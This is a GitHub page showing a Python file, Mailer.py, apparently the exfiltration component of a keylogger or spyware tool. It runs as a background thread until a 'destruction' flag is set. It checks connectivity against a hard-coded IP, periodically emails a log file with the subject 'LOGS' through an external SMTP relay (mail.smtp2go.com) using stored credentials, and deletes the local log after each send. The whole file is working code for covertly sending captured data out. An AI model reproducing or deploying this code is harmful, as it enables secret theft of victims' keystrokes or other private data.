-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathMailer.py
More file actions
73 lines (61 loc) · 1.97 KB
/
Mailer.py
File metadata and controls
73 lines (61 loc) · 1.97 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import threading
import os
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders
import urllib.error
from urllib.request import urlopen
import datetime
import config as con
class Mailer(threading.Thread):
def __init__(self ):
threading.Thread.__init__(self)
self.sender = con.smtp['sender']
self.recipient = con.smtp['recipient']
self.username = con.smtp['username']
self.password = con.smtp['password']
self.filename = con.file['log_file']
def mail(self):
self.msg = MIMEMultipart('mixed')
self.msg['Subject'] = 'LOGS'
self.msg['From'] = self.sender
self.msg['To'] = self.recipient
mb = MIMEBase('application' , "octet-stream")
if not os.path.exists(self.filename):
f = open(self.filename, 'a+')
f.close()
self.attachment = open(self.filename , 'rb')
mb.set_payload((self.attachment).read())
# encode into base64
encoders.encode_base64(mb)
mb.add_header('Content-Disposition', "attachment; filename= %s" % self.filename)
# attach the instance 'mb' to instance 'msg'
self.msg.attach(mb)
mailServer = smtplib.SMTP('mail.smtp2go.com', 2525)
mailServer.ehlo()
mailServer.starttls()
mailServer.ehlo()
mailServer.login(self.username, self.password)
mailServer.sendmail(self.sender, self.recipient, self.msg.as_string())
mailServer.close()
def __internet_on(self):
try:
urlopen('http://216.58.192.142', timeout=1)
return True
except:
return False
def run(self):
mailed_at = datetime.datetime.now()
while not con.destruction:
conn = self.__internet_on()
now = datetime.datetime.now()
print((abs(mailed_at-now)).total_seconds())
if (abs(mailed_at-now)).total_seconds() > con.time and conn:
if os.path.exists(self.filename):
self.mail()
os.remove(self.filename)
else:
print("The file does not exist")
mailed_at = datetime.datetime.now()